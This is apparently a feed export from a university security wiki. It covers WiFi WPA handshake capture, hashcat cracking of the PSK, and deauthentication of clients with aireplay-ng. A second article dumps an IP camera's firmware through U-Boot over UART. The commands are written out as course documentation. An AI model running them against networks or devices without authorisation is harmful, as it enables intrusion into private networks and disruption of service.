* Capture a beacon frame from the AP&lt;br /&gt;
 sudo tcpdump &amp;quot;type mgt subtype beacon and ether src &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -c 1 -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w beacon.cap&lt;br /&gt;
&lt;br /&gt;
* Wait for the WPA handshake&lt;br /&gt;
 sudo tcpdump &amp;quot;ether proto 0x888e and ether host &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -U -vvv -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
* Merge the two files&lt;br /&gt;
 mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt; (or John the Ripper).&lt;br /&gt;
&lt;br /&gt;
* Convert .cap to .hcapx file (Part of &amp;lt;i&amp;gt;hashcat-utils&amp;lt;/i&amp;gt;)&lt;br /&gt;
 cap2hccapx capture.cap capture.hccapx&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Crack using a simple dictionary attack:&lt;br /&gt;
 hashcat -m 2500 capture.hccapx wordlist.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed with Wireshark, filtering for &amp;lt;i&amp;gt;eapol&amp;lt;/i&amp;gt; messages.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
 aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&lt;br /&gt;
: -0 means deauthentication&lt;br /&gt;
: 1 number of deauthentication frames sent&lt;br /&gt;
: -a bssid mac address&lt;br /&gt;
: -c victim mac address to deauthenticate&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, with Wifi interface card&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx 1.0)&lt;br /&gt;
* [[DSTIKE Deauther Watch V1]]&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-MCUP01_V2_2_(iSC5-B01)_UART_Pin_assignment.jpeg&amp;diff=4725</id>
		<title>File:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) UART Pin assignment.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-MCUP01_V2_2_(iSC5-B01)_UART_Pin_assignment.jpeg&amp;diff=4725"/>
		<updated>2020-10-28T23:26:42Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-MCUP01_V2_2_(iSC5-B01)_JTAG_Pin_assignment.jpeg&amp;diff=4724</id>
		<title>File:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) JTAG Pin assignment.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-MCUP01_V2_2_(iSC5-B01)_JTAG_Pin_assignment.jpeg&amp;diff=4724"/>
		<updated>2020-10-28T23:26:30Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-MCUP01_V2_2_(iSC5-B01)_Front.jpeg&amp;diff=4723</id>
		<title>File:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) Front.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-MCUP01_V2_2_(iSC5-B01)_Front.jpeg&amp;diff=4723"/>
		<updated>2020-10-28T23:12:02Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-LEDP01_V3_0_(iSC5-B03)_Front.jpeg&amp;diff=4722</id>
		<title>File:ISmartAlarm iSC5-LEDP01 V3 0 (iSC5-B03) Front.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-LEDP01_V3_0_(iSC5-B03)_Front.jpeg&amp;diff=4722"/>
		<updated>2020-10-28T23:11:49Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-MCUP01_V2_2_(iSC5-B01)_Back.jpeg&amp;diff=4721</id>
		<title>File:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) Back.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-MCUP01_V2_2_(iSC5-B01)_Back.jpeg&amp;diff=4721"/>
		<updated>2020-10-28T23:11:41Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-SENP01_V1_1_(iSC5-B02)_Back.jpeg&amp;diff=4720</id>
		<title>File:ISmartAlarm iSC5-SENP01 V1 1 (iSC5-B02) Back.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-SENP01_V1_1_(iSC5-B02)_Back.jpeg&amp;diff=4720"/>
		<updated>2020-10-28T23:11:30Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-LEDP01_V3_0_(iSC5-B03)_Back.jpeg&amp;diff=4719</id>
		<title>File:ISmartAlarm iSC5-LEDP01 V3 0 (iSC5-B03) Back.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-LEDP01_V3_0_(iSC5-B03)_Back.jpeg&amp;diff=4719"/>
		<updated>2020-10-28T23:11:11Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-SENP01_V1_1_(iSC5-B02)_Front.jpeg&amp;diff=4718</id>
		<title>File:ISmartAlarm iSC5-SENP01 V1 1 (iSC5-B02) Front.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5-SENP01_V1_1_(iSC5-B02)_Front.jpeg&amp;diff=4718"/>
		<updated>2020-10-28T23:11:01Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5_UART_Setup.jpeg&amp;diff=4717</id>
		<title>File:ISmartAlarm iSC5 UART Setup.jpeg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ISmartAlarm_iSC5_UART_Setup.jpeg&amp;diff=4717"/>
		<updated>2020-10-28T23:10:51Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Firmware_Acquisition:_U-Boot&amp;diff=4716</id>
		<title>Firmware Acquisition: U-Boot</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Firmware_Acquisition:_U-Boot&amp;diff=4716"/>
		<updated>2020-10-28T21:49:10Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Major: Initial commit&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
This article briefly describes how the U-Boot bootloader can be used to extract the firmware from embedded devices. This method involves the use of the Universal Synchronous Asynchronous Receiver and Transmitter (USART) On-Chip Debug (OCD) Interface. This article is currently limited to &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; (memory dump) but will be extended soon. In the end, &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; is the method which is extremly slow but work in most scenarios.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
* Basic understanding of U-Boot and UART&lt;br /&gt;
* Taget Device using the U-Boot bootloader&lt;br /&gt;
* Serial UART line ready between Target and Analyst&lt;br /&gt;
* Access to the U-Boot command line interface &lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Procedure&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Not all of these methods may be applicable depending on the present U-Boot version.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Memory Dump&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; command can be used to display memory contents both as hexadecimal and ASCII data. ([http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd UBootCmdMd]) The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; method can be used to extract the firmware via UART, by dumping the complete or a distinct memory space. In the following the [[ISmartAlarm® ISC5 SPOT IP-Camera]] will be used as example using &amp;lt;code&amp;gt;screen&amp;lt;/code&amp;gt; to save the memory dump to a log file. In this example, &amp;lt;code&amp;gt;screen /dev/tty.usbserial-1410 115200&amp;lt;/code&amp;gt; was used to access the TTY and the &amp;lt;code&amp;gt;CTRL-a H&amp;lt;/code&amp;gt; (log) key binding has been used to start logging of the current window to the file &amp;quot;screenlog.n&amp;quot;. (See: &amp;lt;code&amp;gt;man screen&amp;lt;/code&amp;gt;). So, after the serial line and logging is ready, the memory layout must be identified. This is possible using the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;devinfo&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;printenv&amp;lt;/code&amp;gt; command (and more) if available or through identification of the chip and calculating the memory space based on the chip&#039;s capacity. Alternaively the mtdparts may be printed in the bootlogs or can be accessed if access to a Linux shell has already been acquired via &amp;lt;code&amp;gt;/proc/mtdparts&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;&amp;quot;&amp;gt;=&amp;gt; help md&lt;br /&gt;
md - memory display&lt;br /&gt;
&lt;br /&gt;
Usage:&lt;br /&gt;
md [.b, .w, .l] address [# of objects]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example: ISmartAlarm® ISC5 SPOT IP-Camera - U-Boot commands&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;&amp;quot;&amp;gt;sonix # version&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
arm-linux-gcc (SONiX GCC-4.5.2 Release 2011-12-06) 4.5.2&lt;br /&gt;
GNU ld (GNU Binutils) 2.22&lt;br /&gt;
&lt;br /&gt;
sonix # ?&lt;br /&gt;
?       - alias for &#039;help&#039;&lt;br /&gt;
bdinfo  - print Board Info structure&lt;br /&gt;
boot    - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm   - boot application image from memory&lt;br /&gt;
cmp     - memory compare&lt;br /&gt;
cp      - memory copy&lt;br /&gt;
crc32   - checksum calculation&lt;br /&gt;
devinfo - devinfo&lt;br /&gt;
dump    - dump image&lt;br /&gt;
erase   - erase FLASH memory&lt;br /&gt;
eraseetc- eraseetc&lt;br /&gt;
fatinfo - print information about filesystem&lt;br /&gt;
fatload - load binary file from a dos filesystem&lt;br /&gt;
fatls   - list files in a directory (default /)&lt;br /&gt;
fatupdate- update firmware from fat32 filesystem&lt;br /&gt;
flinfo  - print FLASH memory information&lt;br /&gt;
go      - start application at address &#039;addr&#039;&lt;br /&gt;
help    - print command description/usage&lt;br /&gt;
hwcrc16 - hwcrc16 - hardware crc16 calculate&lt;br /&gt;
loadb   - load binary file over serial line (kermit mode) and update to flash&lt;br /&gt;
loadkernel- loadkernel&lt;br /&gt;
loady   - load binary file over serial line (ymodem mode) and update to flash&lt;br /&gt;
md      - memory display&lt;br /&gt;
mm      - memory modify (auto-incrementing address)&lt;br /&gt;
mmc     - MMC sub system&lt;br /&gt;
mmcinfo - display MMC info&lt;br /&gt;
mtest   - simple RAM read/write test&lt;br /&gt;
mw      - memory write (fill)&lt;br /&gt;
nand    - NAND sub-system&lt;br /&gt;
nm      - memory modify (constant address)&lt;br /&gt;
printenv- print environment variables&lt;br /&gt;
protect - enable or disable FLASH write protection&lt;br /&gt;
reset   - Perform RESET of the CPU&lt;br /&gt;
saveenv - save environment variables to persistent storage&lt;br /&gt;
setenv  - set environment variables&lt;br /&gt;
spi     - spi - Serial Flash sub-system&lt;br /&gt;
tftpboot- boot image via network using TFTP protocol&lt;br /&gt;
update  - update image, u-env, factory, u-logo, user, kernel, rootfs-r, rootfs-rw&lt;br /&gt;
usb     - USB sub-system&lt;br /&gt;
usbboot - boot from USB device&lt;br /&gt;
verify  - verify image, flash-info, hw-setting, flash-layout, u-boot, rescue, user, factory, kernel, rootfs-r, u-env&lt;br /&gt;
version - print monitor, compiler and linker version&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Layout&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;mem=64M&lt;br /&gt;
mtdparts=snx-spi:&lt;br /&gt;
768k(uboot)&lt;br /&gt;
3M(kernel)&lt;br /&gt;
7M(rootfs)&lt;br /&gt;
4M(rescue)&lt;br /&gt;
1M(etc)&lt;br /&gt;
256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
loadkernel 0x00007FFC 0x0;&lt;br /&gt;
bootm 0x00008000&lt;br /&gt;
&lt;br /&gt;
0x00000000,0x00000000 (u-logo)&lt;br /&gt;
0x00000000,0x00000FFF (hw-setting)&lt;br /&gt;
0x00001000,0x0005FFFF (u-boot)&lt;br /&gt;
0x00060000,0x0007EFFF (u-env)&lt;br /&gt;
0x0007F000,0x0007FFFF (flash-layout)&lt;br /&gt;
0x00080000,0x000BFFFF (factory)&lt;br /&gt;
0x000C0000,0x003BFFFF (kernel)&lt;br /&gt;
0x003C0000,0x00ABFFFF (rootfs-r)&lt;br /&gt;
0x00AC0000,0x00EBFFFF (rescue)&lt;br /&gt;
0x00EC0000,0x00FBFFFF (rootfs-rw)&lt;br /&gt;
0x00FC0000,0x00FFFFFF (user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The example device uses an 64MB SOP8 SPI chip to store the firmware. Based on the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, the memory space is &amp;lt;code&amp;gt;0x00000000-0x00FFFFFF&amp;lt;/code&amp;gt;. this may be adapted to extract only a specific MTD partition. It is even possible to extract single files, like the shadow file, if the right memory address can be identified. It took 2 hours for extracting 64MB via UART. Additionnally, the device restarted automatically after 5min. This could be solved by monitoring the status and relaunching the memory dump from the last successfully received Byte. In any case, screenlog must be santized before continuing, by removing any additional text, which is not related to the actual memory dump. The actual command for extracting the whole memory is listed below. The &amp;lt;code&amp;gt;.b&amp;lt;/code&amp;gt; output format is required for the next step.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;=&amp;gt; md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Dump Extract&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;sonix # md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Check that the log does not any additional non-printable characters&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With this format, each line consits of 78 characters including the newline. This results in 78 Bytes transmitted, which effectivly represent only 16 Byte of Data, leading to an 80% overhead. It is obvious, that the the memory dump format is not usuable as is. The dump must be parse to get the original binary dump. For this [&lt;br /&gt;
https://github.com/gmbnomis/uboot-mdb-dump uboot-mdb-dump] script can be used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;python3 uboot_mdb_to_image.py &amp;lt; memory_dump.txt &amp;gt; memory_dump.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Related&amp;lt;/h2&amp;gt;&lt;br /&gt;
* [[Firmware Acquisition Techniques]]&lt;br /&gt;
* [[JTAGulator: Find IoT-Device&#039;s UART interface]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Tested Devices&amp;lt;/h2&amp;gt;&lt;br /&gt;
* [[ISmartAlarm® ISC5 SPOT IP-Camera]]&lt;br /&gt;
* ... more ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;References&amp;lt;/h2&amp;gt;&lt;br /&gt;
* http://www.denx.de/wiki/DULG/Manual (Accessed: 20. October 2020)&lt;br /&gt;
* http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd (Accessed: 20. October 2020)&lt;br /&gt;
* https://www.digi.com/resources/documentation/digidocs/PDFs/90000852.pdf (Accessed: 20. October 2020)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=User:JPDoe&amp;diff=4640</id>
		<title>User:JPDoe</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=User:JPDoe&amp;diff=4640"/>
		<updated>2020-10-17T15:09:16Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minor: Added 4 recent articles to the profile overview&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;display: none&amp;quot;&amp;gt;__TOC__&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Articles&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Basics&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[Firmware Acquisition Techniques]]&lt;br /&gt;
* [[Password Cracking]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;hr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Documentations&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[Acquisition and Cracking of macOS User Passwords]]&lt;br /&gt;
* [[Brute-Force with NMAP]]&lt;br /&gt;
* [[Password cracking on Android]]&lt;br /&gt;
* [[Block Device Encryption - dm-crypt]]&lt;br /&gt;
* [[Block Device Encryption - VeraCrypt]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Contributions&amp;lt;/h5&amp;gt;&lt;br /&gt;
